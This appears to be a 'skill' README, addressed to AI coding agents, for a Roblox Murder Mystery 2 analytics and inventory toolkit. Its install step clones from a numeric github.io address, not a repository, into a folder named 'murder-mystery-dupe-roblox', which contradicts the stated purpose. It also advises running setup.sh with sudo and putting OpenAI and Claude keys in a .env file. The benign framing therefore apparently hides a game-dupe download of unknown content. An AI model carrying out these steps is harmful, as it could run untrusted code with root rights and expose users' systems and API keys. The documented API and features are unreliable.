mm2-analytics-roblox-tracker

# MM2 Analytics Roblox Tracker > Skill by [ara.so](https://ara.so) — Data Skills collection. This project is an analytics and inventory management toolkit for Roblox's Murder Mystery 2 game. It provides data visualization, inventory tracking, strategy analysis, and performance metrics to help players optimize their gameplay through data-driven insights. ## What It Does The MM2 Analytics Dashboard offers: - **Inventory Management**: Track knife skins, gamepasses, and collection completeness - **Analytics Engine**: Visualize win/loss ratios, performance metrics, and strategy patterns - **AI-Powered Insights**: Pattern recognition and predictive modeling for inventory values - **Multi-platform Support**: Desktop, tablet, mobile, and web browser compatibility - **Export Capabilities**: Export statistics in JSON/CSV formats ## Installation ### Automated Setup ```bash chmod +x setup.sh ./setup.sh --install ``` ### Manual Installation ```bash # Clone the repository git clone https://8015238355.github.io cd murder-mystery-dupe-roblox # Install dependencies npm install python3 -m pip install -r requirements.txt ``` ### System Requirements - **OS**: Windows 10/11, macOS Ventura+, Ubuntu 22.04+ - **Python**: 3.8+ - **Node.js**: 16+ - **Browser**: Chrome 120+, Firefox 121+ ## Configuration ### Environment Variables Create a `.env` file in the project root: ```bash # API Keys (optional for AI features) API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY} # Data Configuration DATA_DIRECTORY=./data/collections ANALYTICS_INTERVAL=300 ENABLE_LIVE_TRACKING=true # Export Settings EXPORT_FORMAT=json LOG_LEVEL=INFO ``` ### Profile Configuration Create or edit `config/profile.yaml`: ```yaml profile: username: "MysterySolver2026" preferred_role: "sheriff" inventory_filter: - category: "knife_skins" rarity: ["legendary", "ancient"] - category: "gamepasses" active: true analytics_preferences: tracking_mode: "comprehensive" data_refresh_rate: 30 export_format: "csv, json" strategy_templates: - name: "aggressive_sheriff" priority: "high_visibility_areas" - name: "passive_innocent" priority: "distraction_avoidance" ``` ## Key Commands (CLI) ### Analytics Mode Run comprehensive analytics on your gameplay data: ```bash python3 main.py --mode analytics \ --profile mystery_solver_01 \ --export statistics_2026.json \ --format json \ --verbose ``` ### Inventory Scan Scan and catalog your MM2 inventory: ```bash python3 main.py --mode inventory \ --scan-knife-skins \ --scan-gamepasses \ --output inventory_report.csv ``` ### Strategy Analysis Analyze gameplay patterns and generate strategy recommendations: ```bash python3 main.py --mode strategy \ --analyze-patterns \ --role sheriff \ --export strategy_insights.json ``` ### Live Tracking Enable real-time gameplay tracking: ```bash python3 main.py --mode live \ --track-performance \ --interval 30 \ --log-level DEBUG ``` ## Python API Usage ### Basic Analytics ```python from mm2_analytics import AnalyticsEngine, ProfileLoader # Load user profile profile = ProfileLoader.load("mystery_solver_01") # Initialize analytics engine engine = AnalyticsEngine(profile) # Run comprehensive analysis results = engine.analyze( mode="comprehensive", include_inventory=True, include_strategy=True ) # Export results engine.export(results, format="json", output="stats.json") ``` ### Inventory Management ```python from mm2_analytics import InventoryManager # Initialize inventory manager inventory = InventoryManager(data_dir="./data/collections") # Scan for knife skins knife_skins = inventory.scan_knife_skins( rarity_filter=["legendary", "ancient"] ) print(f"Found {len(knife_skins)} knife skins") # Check collection completeness completeness = inventory.calculate_completeness() print(f"Collection {completeness['percentage']}% complete") # Get missing items missing = inventory.get_missing_items(category="knife_skins") ``` ### Strategy Pattern Analysis ```python from mm2_analytics import StrategyAnalyzer # Initialize strategy analyzer analyzer = StrategyAnalyzer() # Load gameplay history analyzer.load_history("./data/gameplay_history.json") # Analyze patterns for sheriff role sheriff_patterns = analyzer.analyze_role("sheriff", { "priority": "high_visibility_areas", "playstyle": "aggressive" }) # Get win rate by strategy win_rates = analyzer.get_win_rates_by_strategy() # Generate recommendations recommendations = analyzer.recommend_strategy( current_win_rate=0.65, target_win_rate=0.75 ) ``` ### Data Visualization ```python from mm2_analytics import DataVisualizer # Initialize visualizer viz = DataVisualizer() # Create performance dashboard viz.create_dashboard( data_source="./data/statistics_2026.json", charts=["win_loss_ratio", "role_performance", "inventory_value"], output="dashboard.html" ) # Generate inventory chart viz.plot_inventory_distribution( inventory_data=knife_skins, group_by="rarity", save_as="inventory_chart.png" ) ``` ## Common Patterns ### Automated Daily Reports ```python import schedule import time from mm2_analytics import AnalyticsEngine, ProfileLoader def generate_daily_report(): profile = ProfileLoader.load("mystery_solver_01") engine = AnalyticsEngine(profile) results = engine.analyze(mode="comprehensive") engine.export( results, format="json", output=f"daily_report_{time.strftime('%Y%m%d')}.json" ) print(f"Daily report generated at {time.strftime('%Y-%m-%d %H:%M:%S')}") # Schedule daily report at 11 PM schedule.every().day.at("23:00").do(generate_daily_report) while True: schedule.run_pending() time.sleep(60) ``` ### AI-Powered Strategy Suggestions ```python import os from mm2_analytics import StrategyAnalyzer, AIIntegration # Initialize with API keys from environment ai = AIIntegration( openai_key=os.getenv("API_OPENAI_KEY"), claude_key=os.getenv("API_CLAUDE_KEY") ) analyzer = StrategyAnalyzer() analyzer.load_history("./data/gameplay_history.json") # Get AI-powered suggestions current_stats = analyzer.get_current_stats() suggestions = ai.generate_suggestions( role="sheriff", current_stats=current_stats, model="claude" # or "openai" ) print("AI Recommendations:") for suggestion in suggestions: print(f"- {suggestion['text']} (confidence: {suggestion['confidence']})") ``` ### Batch Export Multiple Formats ```python from mm2_analytics import AnalyticsEngine, ExportManager engine = AnalyticsEngine(ProfileLoader.load("mystery_solver_01")) results = engine.analyze(mode="comprehensive") exporter = ExportManager(results) # Export in multiple formats formats = ["json", "csv", "yaml", "xml"] for fmt in formats: exporter.export( format=fmt, output=f"statistics_2026.{fmt}", include_metadata=True ) print(f"Exported to statistics_2026.{fmt}") ``` ### Real-Time Performance Tracking ```python from mm2_analytics import LiveTracker # Initialize live tracker tracker = LiveTracker( profile="mystery_solver_01", interval=30, auto_save=True ) # Define custom event handlers @tracker.on_match_complete def handle_match(match_data): print(f"Match completed: {match_data['result']}") print(f"Role: {match_data['role']}") print(f"Duration: {match_data['duration']}s") @tracker.on_inventory_change def handle_inventory(item): print(f"New item acquired: {item['name']} ({item['rarity']})") # Start tracking tracker.start() ``` ## Troubleshooting ### Installation Issues **Problem**: `ModuleNotFoundError` during import ```bash # Verify Python path python3 -c "import sys; print(sys.path)" # Reinstall dependencies pip install --upgrade -r requirements.txt --user ``` **Problem**: Permission denied on `setup.sh` ```bash # Fix permissions chmod +x setup.sh # Run with sudo if needed sudo ./setup.sh --install ``` ### Data Loading Errors **Problem**: Profile not found ```python from mm2_analytics import ProfileLoader # List available profiles profiles = ProfileLoader.list_profiles() print(f"Available profiles: {profiles}") # Create new profile ProfileLoader.create_profile( username="new_user", template="default" ) ``` **Problem**: Corrupted data files ```bash # Validate data integrity python3 main.py --validate-data --repair # Reset to defaults python3 main.py --reset-data --confirm ``` ### API Integration Issues **Problem**: AI features not working ```python import os # Check environment variables required_vars = ["API_OPENAI_KEY", "API_CLAUDE_KEY"] for var in required_vars: if not os.getenv(var): print(f"Warning: {var} not set") # Test API connection from mm2_analytics import AIIntegration ai = AIIntegration(openai_key=os.getenv("API_OPENAI_KEY")) connection_ok = ai.test_connection() print(f"API connection: {'OK' if connection_ok else 'FAILED'}") ``` ### Performance Optimization **Problem**: Slow analytics processing ```python from mm2_analytics import AnalyticsEngine # Enable caching engine = AnalyticsEngine( profile=profile, enable_cache=True, cache_ttl=3600 ) # Use incremental analysis results = engine.analyze( mode="incremental", since_timestamp="2026-05-15T00:00:00Z" ) ``` **Problem**: High memory usage ```bash # Run with memory constraints python3 main.py --mode analytics \ --max-memory 2GB \ --batch-size 100 \ --streaming-mode ``` ### Export Issues **Problem**: Invalid export format ```python from mm2_analytics import ExportManager # Check supported formats supported = ExportManager.get_supported_formats() print(f"Supported formats: {', '.join(supported)}") # Use format validation exporter = ExportManager(results) if exporter.validate_format("json"): exporter.export(format="json", output="stats.json") ``` ## Advanced Usage ### Custom Data Pipelines ```python from mm2_analytics import DataPipeline, Transformer # Create custom pipeline pipeline = DataPipeline() # Add transformation stages pipeline.add_stage(Transformer.normalize_timestamps()) pipeline.add_stage(Transformer.filter_by_role("sheriff")) pipeline.add_stage(Transformer.aggregate_by_date()) pipeline.add_stage(Transformer.calculate_win_rate()) # Process data raw_data = pipeline.load_from("./data/raw_gameplay.json") processed = pipeline.execute(raw_data) pipeline.save_to("./data/processed_gameplay.json", processed) ``` This skill enables AI coding agents to effectively assist developers in using the MM2 Analytics toolkit for Roblox Murder Mystery 2 data analysis, inventory management, and strategy optimization.